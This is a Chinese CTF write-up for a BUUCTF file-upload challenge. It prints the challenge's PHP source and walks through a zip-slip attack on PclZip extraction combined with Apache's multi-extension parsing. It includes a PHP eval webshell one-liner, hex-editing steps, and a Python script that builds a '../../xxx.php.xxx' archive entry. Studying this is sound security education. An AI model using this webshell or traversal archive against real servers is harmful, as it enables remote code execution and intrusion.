当前位置: 首页 > news >正文

zip slip目录遍历加n1例题

题目:buuctf的n1book [第二章 web进阶]文件上传

一、题目源码:

这里看到每5分钟清理一次,一开始以为是条件竞争,但是代码审计过后,发现但代码中 check_dir 在每次上传后都立即运行,所以可以排除

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>文件上传章节练习题</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box col-md-12">
        <form class="form-horizontal" method="post" enctype="multipart/form-data" >
            <h1>文件上传章节练习题</h1>
            <hr />
            <div class="form-group">
                <label class="col-sm-2 control-label">选择文件:</label>
                <div class="input-group col-sm-10">
                    <div >
                    <label for="">
                        <input type="file" name="file" />
                    </label>
                    </div>
                </div>
            </div>        <div class="col-sm-8  text-right">
            <input type="submit" class="btn btn-success text-right btn1" />
        </div>
        </form>
        </div>
    </div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}

解释:

基础设置与文件包含

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
  • header(...): 设置网页输出的字符编码为 UTF-8,防止中文乱码。
  • 注释: 提示了一个关键信息:服务器上的上传目录每 5 分钟会自动清理一次。这意味着攻击者即使上传了文件,也必须在短时间内利用,否则文件会被删除
  • require_once('pclzip.lib.php'): 引入了一个名为 PclZip 的第三方 PHP 库,用于处理 ZIP 压缩包的解压功能,但它存在一个目录遍历漏洞

2. 前端页面逻辑 (未上传文件时)

if(!$_FILES){
    // 输出 HTML 表单代码...
    show_source(__FILE__);
}
  • 逻辑: 如果 $_FILES 超全局变量为空(即用户刚访问页面,还没有提交文件),则执行大括号内的代码。
  • HTML 输出: 打印出一个基于 Bootstrap 3.3.7 样式的网页,包含一个文件上传表单(<form enctype="multipart/form-data">)。这个表单允许用户选择文件并提交。
  • show_source(__FILE__): 它会直接在网页底部显示当前这个 PHP 文件的源代码

3. 后端处理逻辑 (上传文件后)

当用户提交了文件,代码进入 else 分支进行处理。

3.1 变量初始化与空值检查

}else{
    $file = $_FILES['file']; // 获取上传的文件信息数组
    if(!$file){
        exit("请勿上传空文件"); // 如果没选文件,直接报错退出
    }
    $name = $file['name']; // 获取上传的原始文件名
    $dir = 'upload/'; // 定义基础上传目录
    $ext = strtolower(substr(strrchr($name, '.'), 1)); // 提取文件后缀名,并转为小写
    $path = $dir.$name; // 拼接路径(虽然定义了,但后面没直接用这个变量保存)
  • $ext 提取逻辑: strrchr($name, '.') 找到最后一个点,substr(..., 1) 去掉点只要后缀,strtolower 转小写。
  • $path: 虽然拼接了路径,但后续代码并没有直接使用这个变量来保存文件。

3.2 check_dir 函数定义

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f); // 删除文件
                    }
                }
            }
        }
    }
  • 功能: 这是一个递归函数,用于扫描指定目录及其子目录下的所有文件。
  • 逻辑:
  • 遍历目录下的文件。
  • 如果是子目录,递归调用自己继续扫描。
  • 如果是文件,检查其后缀名。
  • 核心规则: 如果文件后缀不是 jpg, gif, 或 png,则使用 unlink() 将其删除
  • 目的: 这是一个“兜底”机制。无论文件怎么上传进来,只要不是这三种图片格式,最终都会被这个函数清理掉。这通常是为了防止 WebShell(一句话木马)被上传。

3.3 目录创建逻辑

    if(!is_dir($dir)){
        mkdir($dir); // 如果 upload 目录不存在,创建它
    }    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir); // 创建一个基于时间戳和随机数的唯一临时目录
    }
  • $temp_dir: 代码没有直接将文件上传到根目录,而是先创建了一个随机命名的子目录(例如 upload/5d41402abc4b2a76b9719d911017459b/)。这增加了攻击者猜测文件路径的难度。

3.4 文件类型验证与处理

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            // 处理 ZIP 文件
            $archive = new PclZip($file['tmp_name']);            // 1. 检查压缩包内容
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }            // 2. 尝试解压
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir); // 解压失败则清理
                exit("解压失败");
            }
            check_dir($dir); // 解压成功后,运行清理函数
            exit('上传成功!');        }else{
            // 处理图片文件 (jpg, gif, png)
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

逻辑详细拆解:

  1. 白名单检查: 首先检查上传文件的后缀是否在 zip, jpg, gif, png 之中。如果不是,直接拒绝。

  2. ZIP 文件处理分支:

  3. 实例化: 使用 PclZip 库加载临时文件。

  4. 内容扫描: 使用

    listContent()

    遍历压缩包内的所有文件名。使用正则

    preg_match('/\.php$/', $filename)

    严格检查是否有文件以 .php结尾

  5. 解压: 如果没有 PHP 文件,就解压到之前生成的随机临时目录 $temp_dir

  6. 清理: 解压完成后,调用 check_dir($dir)这意味着,如果解压出来的文件不是 jpg/gif/png,它们会被立刻删除,也就是没办法利用条件竞争了

  7. 图片文件处理分支:

  8. 直接将上传的 jpg/gif/png 文件移动到随机临时目录。

  9. 调用 check_dir(对于合法图片来说,这一步不会删除它们)

利用思路:

【1】PclZip 漏洞: 利用 PclZip 库的已知漏洞目录遍历,将文件解压到 Web 目录外或绕过检查,压缩包文件目录穿越,压缩包内文件命名为/../../xxx.php.xxx

【2】Apache php解析漏洞,xxx.php.xxx被当成xxx.php解析

image-20260520202427885

这里随便访问一个不存在的文件,由报错可以发现是apache

实战

注:构造../../zzz.php.zzz也可以

【1】等下要构造/../../zzz.php.zzz文件,而通过010editor构造恶意压缩包,这里需要注意修改后的文件名长度与修改前一致,否则解压会报错

前面那个长度为18,所以修改前文件命名也要为18位,命名123456789012345678,再压缩为123456789012345678.zip,用010editor打开

#123456789012345678文件内容如下
<?php @eval($_GET['sb']);?>

image-20260520210527195

【2】修改文件内容,展开上面的dirEntry

image-20260520210646589

【3】修改为/../../zzz.php.zzz,ctrl+s报存

image-20260520211104438

【4】上传123456789012345678.zip文件,再去访问得到flag

image-20260520211244758

或者直接python脚本生成:

import zipfilepayload = """sb
"""with zipfile.ZipFile("sb.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../xxx.php.xxx", payload)

解释:

(1)zipfile.ZipFile("sb.zip", "w", ...):创建一个名为 sb.zip 的新压缩包,模式为写入("w")。

(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename,这里由于题目好像只用生成了文件,他会自动添加flag到你那个文件里,所以就随便写个内容(sb

http://www.jsqmd.com/news/1036035/

相关文章:

  • 哈尔滨本土门窗厂家排行:适配寒地需求的实力之选 - 起跑123
  • 2026年合肥市肥西县眼镜店哪家好?资质、设备与专项服务综合较优的10家门店概览 - 每日行业榜
  • 并发编程(c++)——5.事件驱动
  • CodeWarrior IDE编译与链接实战:从源码到可执行文件的构建全解析
  • 2026外贸联合运营哪家好?国内外贸联合运营公司实力盘点 - 栗子测评
  • 3分钟极速上手:Windows上最轻量级的安卓应用安装器终极指南
  • 长沙VI设计品牌推荐
  • 国内有哪些做销售接待过程和对话分析的AI硬件产品?2026年主流方案与选型建议
  • HPC II评估板从开箱到上电:硬件连接、Bootloader调试与Linux启动全解析
  • 衡阳高口碑黄金铂金回收白银回收实体老店排行 5 家靠谱门店电话地址全收录
  • TWR-56F8257开发板硬件解析与实战:DSC电机控制平台设计精髓
  • 终极Flash浏览器指南:如何在现代系统上完美运行经典Flash内容
  • Framer 3.0 高保真原型设计与落地实战指南
  • JN516x红外与I2C/SPI通信外设实战:从原理到避坑指南
  • 嵌入式调试实战:从断点原理到Trace跟踪的深度解析
  • 基于NXP GenAVB栈的AVB/AVDECC音频流配置实战指南
  • 解决 NVIDIA Profile Inspector 配置文件导入失败的 NVAPI_ACCESS_DENIED 错误
  • 2026年众智商学院CPPM采购支出分析与数据驱动决策怎么学?采购数据分析岗位提升路径 - 众智商学院官方
  • zip slip目录遍历漏洞
  • JavaWeb/JSP 项目基础框架:Servlet、JSP、JDBC 与管理系统案例整理
  • IEEE 802.15.4 MAC层服务原语开发实战:基于JN516x的物联网通信指南
  • 合肥 2026收金真实体验:同样50g黄金,不同门店到手价差差出上千 - 奢侈品回收评测
  • ZigBee OTA升级实战:从API函数到安全可靠的无线固件更新
  • 三步构建OFD转PDF自动化工作流:Ofd2Pdf技术解析与实战指南
  • PowerPC 601流水线优化:从数据依赖、旁路技术到实战避坑指南
  • 动态增强采样器:提升图像模型鲁棒性的智能数据增强技术
  • 2026靠谱降AI率软件怎么选?实测15款后这几个最好用
  • ComfyUI ControlNet Aux预处理器:从零开始的完整配置指南
  • 文件上传正常绕过
  • 2026大模型系统化学习路线:从零基础到落地进阶全指南